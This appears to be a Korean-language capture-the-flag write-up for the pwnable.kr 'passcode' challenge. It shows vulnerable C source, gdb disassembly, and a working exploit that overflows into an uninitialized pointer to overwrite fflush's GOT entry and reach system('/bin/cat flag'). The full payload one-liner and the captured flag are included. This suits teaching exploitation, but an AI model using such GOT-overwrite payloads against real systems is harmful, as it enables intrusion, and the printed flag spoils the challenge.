passcode - 10 pt
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
ssh passcode@pwnable.kr -p2222 (pw:guest) 으로 접속합니다.
passcode@ubuntu:~$ ls -l
total 16
-r--r----- 1 root passcode_pwn 48 Jun 26 2014 flag
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26 2014 passcode
-rw-r--r-- 1 root root 858 Jun 26 2014 passcode.c
passcode@ubuntu:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
login()함수를 보시면 입력을 받는 부분이 존재하는데요.
scanf("%d", passcode1);
scanf("%d", passcode2);
이 둘은 입력값을 passcode1에 저장을 하는 것이 아니라, passcode1를 주소로 한 곳에 저장을 하게 됩니다.
예를 들어 passcode1=0x12345678 이라면 0x12345678주소에 우리가 입력한 값을 저장하게 되는 것이죠.
두 변수 모두 초기화되지 않았기 때문에 더미값이 들어가 있을 것이고, 그 더미값을 주소로 하는 곳에 입력값을 저장하게 되니,
오류가 나게 됩니다.
일단 gdb로 분석을 해봅시다.
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
welcome함수를 보면 ebp-0x70에 입력값을 저장합니다.
그리고 login 함수를 보면
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
ebp-0x10이 passcode1가 위치한 곳을 알 수 있습니다.
welcome()에서 입력을 100바이트를 받는데, [ebp-0x70] - [ebp-0x10] = 0x60 = 96바이트 이므로
passcode1의 값을 조작할 수 있습니다!
그러면 passcode1의 값을 주소로 하는 곳에 원하는 값을 넣을 수 있으므로, 원하는 주소에 원하는 값을 넣을 수 있습니다.
그 다음 fflush()의 got주소를 login()의 system()부분으로 바꾸면 된다.
그럼 fflush()의 got주소와 login()의 system()부분의 주소를 구하자.
0x08048593 <+47>: call 0x8048430 <fflush@plt>
-----
(gdb) x/i 0x8048430
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
(gdb) x/i 0x804a004
0x804a004 <fflush@got.plt>: test BYTE PTR ss:[eax+ecx*1],al
fflush의 got 주소는 0x0804a004이다.
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
system함수의 시작부분을 보면 0x080485e3임을 알 수 있다.
그럼 페이로드를 구성해보면
dummy[96]+fflush()의 got[4]
system()[4] 가 된다.
여기서 system()[4]는 scanf()가 정수형으로 받기 때문에 정수형으로 바꿔서 보내주어야 한다.
0x80485e3 = 134514147
(python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode
passcode@ubuntu:~$ (python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD�!
134514147
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
FLAG : Sorry mom.. I got confused about scanf usage :(